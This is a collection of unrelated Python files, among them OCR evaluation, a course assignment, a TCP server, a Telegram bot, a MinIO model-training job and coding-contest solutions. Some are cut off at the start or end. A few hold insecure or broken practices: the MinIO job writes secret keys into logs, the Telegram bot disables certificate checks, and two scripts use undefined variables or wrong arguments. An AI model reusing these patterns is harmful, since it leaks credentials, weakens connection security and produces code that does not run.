    model.load_state_dict(torch.load('../../../extra/data/hrishikesh/saved_models/model_hwnet_original_text/'+opt.model))
    #model.load_state_dict(torch.load('./saved_models/model_PointnetFFN5/'+opt.model))

    print("Model:")
    print(model)

    """ setup loss """
    if 'CTC' in opt.Prediction:
        criterion = torch.nn.CTCLoss(zero_infinity=True).to(device)
    else:
        criterion = torch.nn.CrossEntropyLoss(ignore_index=0).to(device)

    loss_avg = Averager()

    count  = 0
    dist  = 0
    find  = list()
    total = list()

    for i in range(len(opt.find)):
      find.append(0)
      total.append(0)

    model.eval()

    hypo = []
    output = []
    if opt.model_type == 6:
      data_hw = iter(cp_val_hw)
    for i, data in enumerate(cp_val):
        # val part
        image_tensors = data
        labels = l_val[i*opt.batch_size:i*opt.batch_size+opt.batch_size]
        image = image_tensors.float().to(device)
        text, length = converter.encode(labels, batch_max_length=opt.batch_max_length)
        # batch_size = image.size(0)
        if opt.model_type == 6:
           #image = image.transpose(2,1)
           hw = next(data_hw).float().to(device)
        #   preds = model(image,hw.float().to(device))
        # else:
        if 'CTC' in opt.Prediction:
            preds = model(image,hw)
            preds_size = torch.IntTensor([preds.size(1)] * opt.batch_size)

            _, preds_index = preds.max(2)
            preds_str = converter.decode(preds_index, preds_size)
            print(preds_str[:5], " ", labels[: 5])

            preds = preds.log_softmax(2).permute(1, 0, 2)
            cost = criterion(preds, text, preds_size, length)

        else:
            preds = model(image,text[:,:-1])
            target = text[:,:-1]
            preds_size = torch.IntTensor([preds.size(1)] * opt.batch_size)

            _, preds_index = preds.max(2)
            preds_str = converter.decode(preds_index, preds_size)
            print(preds_str[:5], " ", labels[: 5])

            cost = criterion(preds.view(-1, preds.shape[-1]), target.contiguous().view(-1))

        print("cost : ", cost)

        loss_avg.add(cost)

        if opt.words:
            for i in range(len(labels)):
                if opt.spell_check:
                    if not opt.case_sensitive:
                        b = spell.correction(preds_str[i].lower())
                    else:
                        b = spell.correction(preds_str[i])
                    b1 = spell.correction(preds_str[i])
                else:
                    b = preds_str[i]
                    b1 = preds_str[i]
                dist += distance(b,labels[i])
                hypo.append(labels[i].lower())
                output.append(b)
                for j in range(len(opt.find)):
                  if b1 == opt.find[j] and labels[i] == opt.find[j]:
                    find[j] += 1
                  if labels[i] == opt.find[j]:
                    total[j] += 1
                if b == labels[i].lower():
                    count += 1

    print('average loss : ', loss_avg.val())
    if opt.words:
        avg_dist = dist/len(l_val)
        print("Correct Words Predicted : ", count,'/',len(l_val))
        print('Avg Levenshtein Distance : ',avg_dist)
        for i in range(len(opt.find)):
          print(opt.find[i], " : ", find[i],"/",total[i])
        print(sum(find), "/", sum(total))
        print("accuracy : ",count/len(l_val))

    # Corpus-Level WER: 40.0
    print(fastwer.score(hypo, output))
    # Corpus-Level CER: 25.5814
    print(fastwer.score(hypo, output, char_level=True))

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--manualSeed', type=int, default=1111, help='for random seed setting')
    parser.add_argument('--batch_size', type=int, default=20, help='input batch size')
    parser.add_argument('--num_iter', type=int, default=300000, help='number of iterations to train for')
    parser.add_argument('--model', type=str, default='iter_100.pth', help='number of iterations to train for')
    parser.add_argument('--type', type=str, default='val', help='number of iterations to train for')
    parser.add_argument('--words', type=bool, default=False, help='number of iterations to train for')
    parser.add_argument('--find', nargs="+", default=["a", "b"], help='number of iterations to train for')
    parser.add_argument('--spell_check', action="store_true", help='number of iterations to train for')
    parser.add_argument('--case_sensitive',action="store_true", help='number of iterations to train for')
    parser.add_argument('--model_type', type=int, default=1, help='for random seed setting')

    """ Data processing """
    parser.add_argument('--batch_max_length', type=int, default=25, help='maximum-label-length')
    parser.add_argument('--character', type=str,
                        default='0123456789abcdefghijklmnopqrstuvwxyz\'/\\.,?"(){}[]-_=+@!$%:#&*;', help='character label')
    parser.add_argument('--Prediction', type=str, default='CTC', help='gradient clipping value. default=5')
    """ Model Architecture """
    parser.add_argument('--input_size', type=int, default=96, help='the size of the LSTM hidden state')
    parser.add_argument('--hidden_size', type=int, default=128, help='the size of the LSTM hidden state')
    parser.add_argument('--out', nargs="+", default=[2048,1024,512,256,128,50], help='number of iterations to train for')
    opt = parser.parse_args()

    """ Seed and GPU setting """
    # print("Random Seed: ", opt.manualSeed)
    random.seed(opt.manualSeed)
    np.random.seed(opt.manualSeed)
    torch.manual_seed(opt.manualSeed)
    torch.cuda.manual_seed(opt.manualSeed)

    opt.num_gpu = torch.cuda.device_count()
    opt.character = string.printable[:-6]

    device = 'cuda'

    val(opt)


'''
Name: Yuankang Zhang
Student #: 10154776
NetID: 14yz28
'''

final_max_sum = 0
final_index = [0, 0]
#second_max = 0

def Sum(lst, start, mid, end):
    global final_max_sum
    global final_index
    global second_max
    global current_max_sum

    current_sum = 0
    left_sum = -9999
    for i in range(mid, start - 1, -1):
        current_sum = current_sum + lst[i]
        if (current_sum > left_sum):
            left_sum = current_sum
            final_index[0] = i

    current_sum = 0
    right_sum = -9999
    for i in range(mid + 1, end + 1):
        current_sum = current_sum + lst[i]
        if (current_sum > right_sum):
            right_sum = current_sum
            final_index[1] = i

    #second_max = final_max_sum
    current_max_sum = left_sum + right_sum
    if final_max_sum < current_max_sum:
        final_max_sum = current_max_sum

    return left_sum + right_sum

def Sub(list, start, end):
    if (start == end):
        return list[start]

    mid = (start + end) // 2

    return max(Sub(list, start, mid),
               Sub(list, mid + 1, end),
               Sum(list, start, mid, end))

# mss() for part 1
def mss1(list):

    if all(i <= 0 for i in list):
        print("Since all numbers in the list are negative, we assume the max segment sum is Zero.")

    else:
        Sub(list, 0, len(list) - 1)
        print("For list " + str(list) + ', the maximum segment sum is ' + str(final_max_sum) +
              ', and the elements of this segment are ' + str(list[final_index[0]:final_index[1]+1]))
        #for part 3
        #print("The second max was " + str(second_max))

# mss() and for part 2
def mss2(list):
    global final_max_sum
    global final_index

    if all(i <= 0 for i in list):
        print("Since all numbers in the list are negative, we assume the max segment sum is Zero.")
    else:
        Sub(list, 0, len(list) - 1)
        print("For list " + str(list) + ', the first maximum segment sum is ' + str(final_max_sum) +
              ', and the elements of this segment are ' + str(list[final_index[0]:final_index[1] + 1]))

        i = final_index[0]
        while i <= final_index[1]:
            list[i] = 0
            i = i + 1

        final_max_sum = 0
        final_index = [0,0]

        Sub(list, 0, len(list) - 1)
        print('The second maximum segment sum is ' + str(final_max_sum) +
              ', and the elements of this segment are ' + str(list[final_index[0]:final_index[1] + 1]))
        print(str(final_index))

def test(question_n):
    # test 1: blending pasitive numbers and negative numbers - a variation of list1 by switching the order
    list1 = [-7, 2, 4, 5, 3, -6, 1, 4]
    # test 2: the maximum segment is the entire list - a list with only positive number
    list2 = [1, 9, 2, 8, 3, 7, 4, 6, 5]
    # test 3: a list with only negative number - in this case, we assume the max sum is Zero
    list3 = [-1, -9, -2, -8, -3, -7, -4, -6, -5]

    if question_n == 1 :
        print ('\nCase 1:')
        mss1(list1)
        print ('\nCase 2:')
        mss1(list2)
        print ('\nCase 3:')
        mss1(list3)
    elif question_n == 2:
        print('\nCase 1:')
        mss2(list1)
        print('\nCase 2:')
        mss2(list2)
        print('\nCase 3:')
        mss2(list3)

test(1)


from socket import *
from threading import Thread, Lock
from time import sleep

from transportLayer.TCPLayer import TCPLayer
from transportLayer.TransportLayer import TransportLayer

class ServerTCP(TransportLayer):
  def __init__(self):
    self.listenfdTCP = socket(AF_INET, SOCK_STREAM)
    self.listenfdTCP.bind((str(INADDR_ANY), 0))
    self.listenfdTCP.listen(1)
    self.lock = Lock()
    self.acceptConnectionsThread = Thread(target=acceptConnections,
                                          name='Accept Invitations',
                                          args=[self])
    self.acceptConnectionsThread.daemon = True
    self.tcpLayer: TCPLayer = None
    self.acceptConnectionsThread.start()

  def sendMessage(self, message):
    try:
      self.tcpLayer.sendMessage(message)
    except AttributeError:
      print("Você precisa ter uma conexão ativa para enviar uma mensagem")

  def recvMessage(self):
    if self.tcpLayer:
      try:
        return self.tcpLayer.recvMessage()
      except:
        return

  def closeSocket(self):
    self.listenfdTCP.close()

  def killConnection(self):
    try:
      self.tcpLayer.closeSocket()
      self.tcpLayer = None
      self.lock.release()
      print("Saí do release")
    except:
      print("Você precisa ter uma conexão ativa para fechar a conexão")

  def setTransportLayer(self, connectedSocket):
    self.lock.acquire()
    self.tcpLayer = TCPLayer(connectedSocket=connectedSocket)

  def updateTransportLayer(self, address, port):
    self.lock.acquire()
    self.tcpLayer = TCPLayer(address=address, port=port)

  def transportLayerExists(self)-> bool:
    self.lock.acquire()
    isThereTransportLayer = self.tcpLayer != None
    self.lock.release()
    return isThereTransportLayer

  def getPort(self):
    return self.listenfdTCP.getsockname()[1]

def acceptConnections(serverData: ServerTCP):
  while True:
    if not serverData.transportLayerExists():
      (connfd, address) = serverData.listenfdTCP.accept()
      serverData.setTransportLayer(connfd)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 30 19:33:39 2019

@author: huasongzhang
"""

import numpy as np
import h5py
import matplotlib.pyplot as plt
from sklearn import linear_model
from sklearn.linear_model import Lasso
from sklearn.linear_model import Ridge

f = h5py.File('BZ.mat','r')
data = f.get('BZ_tensor')
data = np.array(data)
[a,b,c] = data.shape
data2 = np.zeros((a,b*c))
x = []

for i in range(a):
    o = data[i,:,:]
    data2[i,:] = np.reshape(data[i,:,:], (1, b*c))
    data2[i,:] = data2[i,:]/max(data2[i,:])
    x.append(np.argmax(data2[i,:]))

x = np.asarray(x)
l = len(x)
x1s = x[0:l-1]

# build library
def LAB(x1):
    M = np.array([x1,x1,x1**2,x1**3,x1**4,x1**5,np.sin(x1),np.cos(x1),
                  np.log(x1),np.sqrt(x1)])
    if isinstance(x1, int) or isinstance(x1, float):
        M[0] = 1
    else:
        M[0] = np.ones(len(x1))
    #M = np.squeeze(M).T
    return M

A = LAB(x1s).T

# pinv
xi1 = np.dot(np.linalg.pinv(A),x1dot)
# LASSO
clf_l = linear_model.Lasso(alpha=0.01)
clf_l.fit(A, x1dot)
xi2 = clf_l.coef_
# Ridge
clf_r = Ridge(alpha=0.05)
clf_r.fit(A, x1dot)
xi3 = clf_r.coef_

f, (ax1,ax2,ax3) = plt.subplots(1,3,figsize=(12, 4))
ax1.bar(range(len(xi1)),xi1)
ax1.set_title('Weights using pinv')
ax2.bar(range(len(xi2)),xi2)
ax2.set_title('Weights using LASSO')
ax3.bar(range(len(xi3)),xi3)
ax3.set_title('Weights using Ridge')
f.suptitle('Weights')
f.savefig('1d.jpg')


from django.utils import unittest

from common import SimpleDocument

from dockit.backends import CompositeIndexRouter
from dockit import backends

class RouterTestCase(unittest.TestCase):
    def setUp(self):
        self.router = backends.INDEX_ROUTER#CompositeIndexRouter([])

    def test_get_effective_query_index(self):
        original_queryset = SimpleDocument.objects.filter(featured=True).exclude(published=False).index('charfield')
        self.router.register_queryset(original_queryset)

        #create a new queryset object
        sub_queryset = SimpleDocument.objects.filter(featured=True).exclude(published=False)

        result = self.router.get_effective_queryset(sub_queryset)
        self.assertFalse(result['inclusions']) #no extra inclusions or exclusions should be necessary
        self.assertFalse(result['exclusions'])
        self.assertEqual(original_queryset._index_hash(), result['queryset']._index_hash())


# -*- coding: utf-8 -*-
# title: eliza.py
# course: Language and Computer
# author(s): Suzi Park
# date created: 2018-10-29
# description: ELIZA

import re, random

def respond(message):
    # preprocessing
    message = message.upper()
    message = re.sub(r'\s+', ' ', message)

    # generalization
    if re.match(r".*\bALL\b.*", message):
        return 'IN WHAT WAY'
    elif re.match(r".*\bALWAYS\b.*", message):
        return 'CAN YOU THINK OF A SPECIFIC EXAMPLE'

    # "I'm sad"
    match = re.match(r".*\bI(?: AM|'M) (DEPRESSED|SAD|SICK|UNHAPPY)\b.*", message)
    if match:
        sad = match.group(1)
        responses = [
            f"I AM SORRY TO HEAR THAT YOU ARE {sad}",
            f"WHY DO YOU THINK YOU ARE {sad}",
        ]
        return random.choice(responses)

    # "my"
    match = re.match(r".*\bMY (.*)", message)
    if match:
        response = f'YOUR {match.group(1)}'
        response = re.sub(r'\bME\b', 'YOU', response)
        response = re.sub(r'\bMY(SELF)?\b', r'YOUR\1', response)
        return response

    # no keyword
    responses = [
        "PLEASE GO ON",
        "WHAT DOES THAT SUGGEST TO YOU",
        "I'M NOT SURE I UNDERSTAND YOU FULLY"
    ]
    return random.choice(responses)

if __name__ == '__main__':
    print('PLEASE TELL ME YOUR PROBLEM')
    message = input('> ')
    while message not in ('', 'quit'):
        print(respond(message))
        message = input('> ')

    print('GOODBYE')


import json
import urllib3
import telegram
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

token = ''
bot = telegram.Bot(token=token)

# 设置代理
proxies = {
  # "http": "http://192.168.99.41:8888",
  # "https": "https://192.168.99.41:8888"
}

# Telegram 消息处理
url = 'https://api.telegram.org/bot' + token + '/getUpdates'
resp = requests.post(url, proxies=proxies, verify=False).json()
chat_id = resp['result'][-1]['message']['chat']['id']

# POST 查询最新消息的文本
query = resp['result'][-1]['message']['text']
resp = requests.post("https://lab.magiconch.com/api/nbnhhsh/guess",
    data=json.dumps({"text": query}),
    headers={"content-type": "application/json"}
)

# 返回结果处理
data = json.loads(resp.text)
if (len(data) and 'trans' in data[0] and len(data[0]['trans'])):
  text = data[0]['trans']
  text = '\n'.join(text)
elif (len(data) and 'inputting' in data[0] and len(data[0]['inputting'])):
  text = data[0]['inputting']
  text = '\n'.join(text)
else:
  text = '未查询到相关结果'

bot.sendMessage(chat_id=chat_id, text=text)


import sys
import os
import io
input = io.BytesIO(os.read(0, os.fstat(0).st_size)).readline
sys.setrecursionlimit(200020)

n, q = map(int, input().split())
g = [[]for _ in range(n+1)]
for i in range(2, n+1):
    a = int(input())
    g[a].append(i)

pv = 0
iin = [0]*(n+1)
out = [0]*(n+1)
dep = [0]*(n+1)
pr = [1]*n

def dfs(node=1):
    global pv
    iin[node] = pv
    pv += 1
    for next in g[node]:
        dep[next] = dep[node] + 1
        dfs(next)
    out[node] = pv-1

dfs()

class Node:
    def __init__(self, bottom, up) -> None:
        self.bottom = bottom
        self.up = up
        self.pr = 1
        self.lazy = 0
        self.right = None
        self.left = None

class SegTree:
    def __init__(self) -> None:
        self.root = self.init(0, n-1)

    def init(self, bottom, up):
        node = Node(bottom, up)
        if bottom == up:
            return node
        mid = bottom + up >> 1
        node.left = self.init(bottom, mid)
        node.right = self.init(mid+1, up)
        return node

    def prop(self, node):
        if not node.lazy or dep[node.pr] > dep[node.lazy]:
            node.lazy = 0
            return
        node.pr = node.lazy
        if node.left and node.right:
            node.left.lazy = node.lazy
            node.right.lazy = node.lazy
        node.lazy = 0

    def update(self, a, b, root):
        def do(node, a, b):
            if node.bottom == a and node.up == b:
                node.lazy = root
                self.prop(node)
                return

            self.prop(node)
            mid = node.bottom + node.up >> 1
            if b <= mid:
                self.prop(node.right)
                do(node.left, a, b)
            elif a > mid:
                do(node.right, a, b)
                self.prop(node.left)
            else:
                do(node.left, a, mid)
                do(node.right, mid+1, b)
        do(self.root, a, b)

    def find(self, x):
        def do(node):
            self.prop(node)
            if node.bottom == node.up:
                return node.pr
            mid = node.bottom + node.up >> 1
            if x <= mid:
                return do(node.left)
            else:
                return do(node.right)
        return do(self.root)

tree = SegTree()

for _ in range(q):
    b, c, d = map(int, input().split())
    rootb, rootc = tree.find(iin[b]), tree.find(iin[c])
    if d == 0:
        print('YES' if rootb == rootc else 'NO')
    else:
        if rootb == rootc:
            print('YES')
            tree.update(iin[b], out[b], b)
        else:
            print('NO')
            tree.update(iin[c], out[c], c)


number = int(input())
a= 97
sentence = []
alphabet = []
for i in range(26):
    alphabet.append(chr(a))
    a+=1
# # for i in range(number):
# #     setence.append(input())
# # for i in sentence:
# #     for j in range(len(i)):
print(alphabet)


import tensorflow as tf
import numpy as np
from tensorflow.python.ops import gen_nn_ops

class TextCNN(object):
    """
    A CNN for text subs.
    Uses an embedding layer, followed by a convolutional, max-pooling and softmax layer.
    """
    def __init__(self, inputs, sequence_length,embedding_size, num_filters, filter_sizes, dropout_keep_prob,scope):

        # filter_sizes=[2,3]
        self.embedded_chars=inputs
        with tf.name_scope("cnn_subtract"+scope):
            pooled_outputs = []
            for i, filter_size in enumerate(filter_sizes):
                with tf.name_scope("conv-maxpool-%s" % filter_size):
                    # Convolution Layer
                    #filter_shape = [filter_size, embedding_size, 1, num_filters]
                    filter_shape = [filter_size, embedding_size, num_filters]
                    W = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name="W")
                    b = tf.Variable(tf.constant(0.1, shape=[num_filters]), name="b")
                    conv = tf.nn.conv1d(
                        self.embedded_chars,
                        W,
                        stride=1,
                        padding="SAME",
                        name="conv")
                    # Apply nonlinearity
                    h = tf.nn.relu(tf.nn.bias_add(conv, b), name="relu")
                    h_expand = tf.expand_dims(h, -1)
                    # Maxpooling over the outputs
                    pooled = gen_nn_ops._max_pool_v2(
                        h_expand,
                        ksize=[1, sequence_length, 1, 1],
                        strides=[1, 1, 1, 1],
                        padding='VALID',
                        name="pool")
                    pooled_outputs.append(pooled)

            # Combine all the pooled features
            num_filters_total = num_filters * len(filter_sizes)
            #self.test=conv
            self.h_pool = tf.concat(pooled_outputs, 3)
            self.h_pool_flat = tf.reshape(self.h_pool, [-1, num_filters_total])

            # Add dropout

            self.h_drop = tf.nn.dropout(self.h_pool_flat, dropout_keep_prob)


from test_cases.base_case import BaseCase

class ItemViewed(BaseCase):

    def __init__(self, device, run_time):
        self.title = "item_viewed"
        super().__init__(self.title, device, run_time)
        self.check_points = {
            # 应包括一次detailPageItemViewed
            "detailPageItemViewed": {
                "count": 1,
                "length": "",
                "previousID": "None"
            }
        }

    def run_steps(self):
        # 打开页面上划一下
        self.device.swipe_up()


""" #######################################################################
    Title: Construction of an FE model of the spinal cord to simulate the voltage distribution caused by a dipole
    Subtitle: Load Data Function
    Author: Markus E. Oberndorfer
####################################################################### """

from scipy.io import loadmat
from os import chdir
from glob import glob

def LoadData(num_participant, main_path):
    folder_participant = 'participant_' + num_participant
    folder_data = num_participant + '_data'
    path_participant_data = main_path / 'data' / folder_participant / folder_data

    chdir(path_participant_data)
    data_EEG = []
    data_SCP = []
    for file in glob("*.mat"):
        #print('Found: ', file)
        data_EEG.append(loadmat(file)['EEGdata'][2:18])
        data_SCP.append(loadmat(file)['EEGdata'][18:34])

    print('Data loaded.')
    return data_EEG, data_SCP

if __name__ == '__main__':
    from pathlib import Path
    num_participant = 'XY'
    main_path = Path('/Users/markusoberndorfer/Uni/Masterarbeit/Program')
    folder_participant = 'participant_' + num_participant
    folder_data = num_participant + '_data'
    path_participant_data = main_path / 'data' / folder_participant / folder_data
    data_EEG, data_SCP = LoadData(path_participant_data)


import sys

sys.stdin=open('../data/merged_list.txt', 'r')

n = int(input())
n_list = list(map(int, input().split()))

k = int(input())
k_list = list(map(int, input().split()))

# O(nlogn) 풀이
# merged_list = n_list + k_list
# merged_list.sort()

# O(n) 풀이
p1, p2 = 0, 0

m = []

while p1 < n and p2 < k:
    if n_list[p1] <= k_list[p2]:
        m.append(n_list[p1])
        p1 += 1
    else:
        m.append(k_list[p2])
        p2 += 1

if p1 < n:
    m = m + n_list[p1:]

if p2 < k:
    m = m + k_list[p2:]

for i in m:
    print(i, end=' ')


# Standard Library
import asyncio
import json
import logging
import os
import shutil

# Third Party
import boto3
import botocore
from botocore.client import Config
from botocore.exceptions import EndpointConnectionError
from NuLogParser import LogParser
from opni_nats import NatsWrapper

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(name)s - %(message)s")

MINIO_SERVER_URL = os.environ["MINIO_SERVER_URL"]
MINIO_ACCESS_KEY = os.environ["MINIO_ACCESS_KEY"]
MINIO_SECRET_KEY = os.environ["MINIO_SECRET_KEY"]

async def train_nulog_model(minio_client, windows_folder_path):
    nr_epochs = 2
    num_samples = 0
    parser = LogParser()
    texts = parser.load_data(windows_folder_path)
    tokenized = parser.tokenize_data(texts, isTrain=True)
    parser.tokenizer.save_vocab()
    parser.train(tokenized, nr_epochs=nr_epochs, num_samples=num_samples)
    all_files = os.listdir("output/")
    if "nulog_model_latest.pt" in all_files and "vocab.txt" in all_files:
        logging.info("Completed training model")
        minio_client.meta.client.upload_file(
            "output/nulog_model_latest.pt", "nulog-models", "nulog_model_latest.pt"
        )
        minio_client.meta.client.upload_file(
            "output/vocab.txt", "nulog-models", "vocab.txt"
        )
        logging.info("Nulog model and vocab have been uploaded to Minio.")
    else:
        logging.info("Nulog model was not able to be trained and saved successfully.")
        return False
    return True

async def minio_setup_and_download_data(minio_client):
    try:
        minio_client.meta.client.download_file(
            "training-logs", "windows.tar.gz", "windows.tar.gz"
        )
        logging.info("Downloaded logs from minio successfully")

        shutil.unpack_archive("windows.tar.gz", format="gztar")
    except EndpointConnectionError:
        logging.error(
            f"Could not connect to minio with endpoint_url={MINIO_SERVER_URL} aws_access_key_id={MINIO_ACCESS_KEY} aws_secret_access_key={MINIO_SECRET_KEY} "
        )
        logging.info("Job failed")
        return False

    try:
        minio_client.meta.client.head_bucket(Bucket="nulog-models")
        logging.info("nulog-models bucket exists")
    except botocore.exceptions.ClientError as e:
        # If a client error is thrown, then check that it was a 404 error.
        # If it was a 404 error, then the bucket does not exist.
        error_code = e.response["Error"]["Code"]
        if error_code == "404":
            logging.info("nulog-models bucket does not exist so creating it now")
            minio_client.create_bucket(Bucket="nulog-models")
    return True

async def send_signal_to_nats():
    nw = NatsWrapper()
    nulog_payload = {
        "bucket": "nulog-models",
        "bucket_files": {
            "model_file": "nulog_model_latest.pt",
            "vocab_file": "vocab.txt",
        },
    }
    encoded_nulog_json = json.dumps(nulog_payload).encode()
    await nw.connect()
    await nw.publish(nats_subject="model_ready", payload_df=encoded_nulog_json)
    logging.info(
        "Published to model_ready Nats subject that new Nulog model is ready to be used for inferencing."
    )
    await nw.nc.close()

def main():
    loop = asyncio.get_event_loop()

    minio_client = boto3.resource(
        "s3",
        endpoint_url=MINIO_SERVER_URL,
        aws_access_key_id=MINIO_ACCESS_KEY,
        aws_secret_access_key=MINIO_SECRET_KEY,
        config=Config(signature_version="s3v4"),
    )

    setup_task = loop.create_task(minio_setup_and_download_data(minio_client))
    if not loop.run_until_complete(setup_task):
        return

    train_task = loop.create_task(train_nulog_model(minio_client, "windows/"))
    if not loop.run_until_complete(train_task):
        return

    nats_signal_task = loop.create_task(send_signal_to_nats())
    loop.run_until_complete(nats_signal_task)

    loop.close()

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        logging.info(f"Nulog training failed. Exception {e}")


#！/user/bin/env pythone2.7
#! -*- coding:utf-8 -*-
#! @Time : 2018/11/14 15:15
#! @Auther : Yu Kunjiang
#! @File : appium_cnblogs_test.py

import unittest
import selenium.common.exceptions
from selenium.webdriver.common.keys import Keys
from appium import webdriver
import time
import warnings
warnings.simplefilter("ignore", ResourceWarning)    #用来忽略运行代码时产生的ResourceWarning警告

class SearchTestCase(unittest.TestCase):
    def setUp(self):
        desired_caps = {
            'platformName':'Android',
            'platformVersion':'5.1',
            'deviceName':'2434d41e',
            'appPackage':'com.cnblogs.xamarinandroid',
            'appActivity':'md522127645c21675e531a6ac609ef72b2a.SplashScreenActivity',
            'noReset': False,
            'unicodeKeyboard':True,
            'resetKeyboard':True
        }
        self.driver = webdriver.Remote("http://127.0.0.1:4723/wd/hub", desired_caps)
        time.sleep(5)

    # def tearDown(self):
    #     self.driver.quit()

    def testcase(self):
        driver = self.driver
        try:
            cancle_alert_button = driver.find_element_by_name("取消")
            cancle_alert_button.click()
        except selenium.common.exceptions.TimeoutException:
            print("Time Out.")
        except selenium.common.exceptions.NoSuchElementException:
            print("No Such Element.")
        driver.find_element_by_id("com.cnblogs.xamarinandroid:id/search").click()
        driver.find_element_by_id("com.cnblogs.xamarinandroid:id/search_src_text").send_keys("appium")
        driver.find_element_by_id("com.cnblogs.xamarinandroid:id/search_src_text").send_keys(Keys.ENTER)

if __name__ == '__main__':
    unittest.main()


import os
from ._spin_configuration import _calc_spin_configuration
from ._mineral_composition import _calc_mineral_composition
from ._seismic_anomalies import _calc_seismic_anomalies

# ==================================================================================== #
#                                                                                #
#                    Starting implementation of the simulator class                    #
#                                                                                #
# ==================================================================================== #
class MineralProperties:
    """Calculates mineral properties of lower mantle compositions.

    This class provides the functionality required to calculate mineral properties for
    a wide range of mineral compositions under pressure and temperature conditions
    suitable for the lowermost mantle. It is assumed that the desired compositions are
    close to a typical pyrolitic composition.

    During class initialization, a default value is assigned to each mineral property.
    References are provided for each default value. Note that some values are derived
    from the provided references. Alternatively, the user can override the default
    values by providing a dictionary.

    The class method `calc_mineral_properties` calculates the seismic anomalies
    associated to a large range of compositions. A dictionary can be provided to specify
    the desired range for each input property (CaPv proportion, Bm proportion,
    FeO content, Al2O3 content, oxidation state, temperature contrast).

    Attributes:
        path: Absolute path to results directory. Default to the `results` folder in the
              repository root.
        R: Gas constant. [cm^3 GPa K^−1 mol^−1]
        xi: Scaling of the volume dependence of the crystal-field splitting used for the
            calculation of the spin transition. Default to 1.5.
        delta_0: Crystal-field splitting at ambient condition used for the calculation
                 of the spin transition. Default to 1.35. [eV]
        v_trans: Volume of FeO at which the spin transition occurs. Default to 59. [A^3]
        p_capv_am: Proportion of CaPv in the ambient lower mantle.
                   Default to 0.07. [vol%]
        iron_content_am: FeO content in the ambient mantle. Default to 0.08. [wt%]
        p_bm_am: Proportion of Bm in the ambient lower mantle. Default to 0.75. [vol%]
        al_content_am: Al2O3 content in the ambient mantle. Default to 0.036. [mol%]
        kd_ref_am: Fe partitioning coefficient in the ambient mantle. Default to 0.5.
        ratio_fe_bm_am: Oxidation state in Bm. Default to 0.5.
        k0t_prime_bm: Pressure derivative of the isothermal bulk modulus for Bm.
                      Default to 3.7.
        theta_bm_0: Debye temperature for Bm at ambient conditions. Default to 1100. [K]
        gamma_bm_0: Gruneisen parameter for Bm at ambient conditions. Default to 1.4.
        q_bm: Exponent of the Gruneisen parameter for Bm. Default to 1.4.
        k0t_prime_fp: Pressure derivative of the isothermal bulk modulus for Fp.
                      Default to 4.0.
        theta_fp_0: Debye temperature for Fp at ambient conditions. Default to 673. [K]
        gamma_fp_0: Gruneisen parameter for Fp at ambient conditions. Default to 1.41.
        q_fp: Exponent of the Gruneisen parameter for Fp. Default to 1.3.
        k0t_prime_capv: Pressure derivative of the isothermal bulk modulus for CaPv.
                        Default to 3.9.
        theta_capv_0: Debye temperature for CaPv at ambient conditions.
                      Default to 1000. [K]
        gamma_capv_0: Gruneisen parameter for CaPv at ambient conditions.
                      Default to 1.92.
        q_capv: Exponent of the Gruneisen parameter for CaPv. Default to 0.6.
        k_mgo_0: Isothermal bulk modulus of MgO at ambient conditions.
                 Default to 160. [GPa]
        v_mgo_0: Volume of MgO at ambient conditions. Default to 11.25. [cm^3/mol]
        k_feo_ls_0: Isothermal bulk modulus of FeO in the low spin state at ambient
                    conditions. Default to 150. [GPa]
        v_feo_ls_0: Volume of FeO in the low spin state at ambient conditions.
                    Default to 10.82. [cm^3/mol]
        k_feo_hs_0: Isothermal bulk modulus of FeO in the high spin state at ambient
                    conditions. Default to 150. [GPa]
        v_feo_hs_0: Volume of FeO in the high spin state at ambient conditions.
                    Default to 12.18. [cm^3/mol]
        k_mgsio3_0: Isothermal bulk modulus of MgSiO3 at ambient conditions.
                    Default to 261. [GPa]
        v_mgsio3_0: Volume of MgSiO3 at ambient conditions. Default to 24.43. [cm^3/mol]
        k_fesio3_0: Isothermal bulk modulus of FeSiO3 at ambient conditions.
                    Default to 248. [GPa]
        v_fesio3_0: Volume of FeSiO3 at ambient conditions. Default to 25.44. [cm^3/mol]
        k_fe2o3_0: Isothermal bulk modulus of Fe2O3 at ambient conditions.
                   Default to 95. [GPa]
        v_fe2o3_0: Volume of Fe2O3 at ambient conditions. Default to 30.6. [cm^3/mol]
        k_fealo3_0: Isothermal bulk modulus of FeAlO3 at ambient conditions.
                    Default to 271. [GPa]
        v_fealo3_0: Volume of FeAlO3 at ambient conditions. Default to 28.21. [cm^3/mol]
        k_al2o3_0: Isothermal bulk modulus of Al2O3 at ambient conditions.
                   Default to 137. [GPa]
        v_al2o3_0: Volume of Al2O3 at ambient conditions. Default to 26.74. [cm^3/mol]
        k_casio3_0: Isothermal bulk modulus of CaSiO3 at ambient conditions.
                    Default to 236. [GPa]
        v_casio3_0: Volume of CaSiO3 at ambient conditions. Default to 27.45. [cm^3/mol]
        g_mgo_0: Shear modulus of MgO at ambient conditions. Default to 131. [GPa]
        g_prime_mgo: Pressure derivative of the shear modulus for MgO. Default to 1.92.
        g_feo_hs_0: Shear modulus of FeO in the high spin state at ambient conditions.
                    Default to 29.9. [GPa]
        g_prime_feo_hs: Pressure derivative of the shear modulus for FeO in the high
                        spin state. Default to 6.26.
        g_feo_ls_0: Shear modulus of FeO in the low spin state at ambient conditions.
                    Default to 119. [GPa]
        g_prime_feo_ls: Pressure derivative of the shear modulus for FeO in the high
                        spin state. Default to 3.9.
        g_casio3_0: Shear modulus of CaSiO3 at ambient conditions. Default to 135. [GPa]
        g_prime_casio3: Pressure derivative of the shear modulus for CaSiO3.
                      Default to 1.57.
        g_mgsio3_0: Shear modulus of MgSiO3 at ambient conditions.
                    Default to 168.2. [GPa]
        g_prime_mgsio3: Pressure derivative of the shear modulus for MgSiO3.
                        Default to 1.79.
        g_fesio3_0: Shear modulus of FeSiO3 at ambient conditions.
                    Default to 145.7. [GPa]
        g_prime_fesio3: Pressure derivative of the shear modulus for FeSiO3.
                        Default to 1.87.
        g_fealo3_0: Shear modulus of FeAlO3 at ambient conditions.
                    Default to 95.3. [GPa]
        g_prime_fealo3: Pressure derivative of the shear modulus for FeAlO3.
                        Default to 2.13.
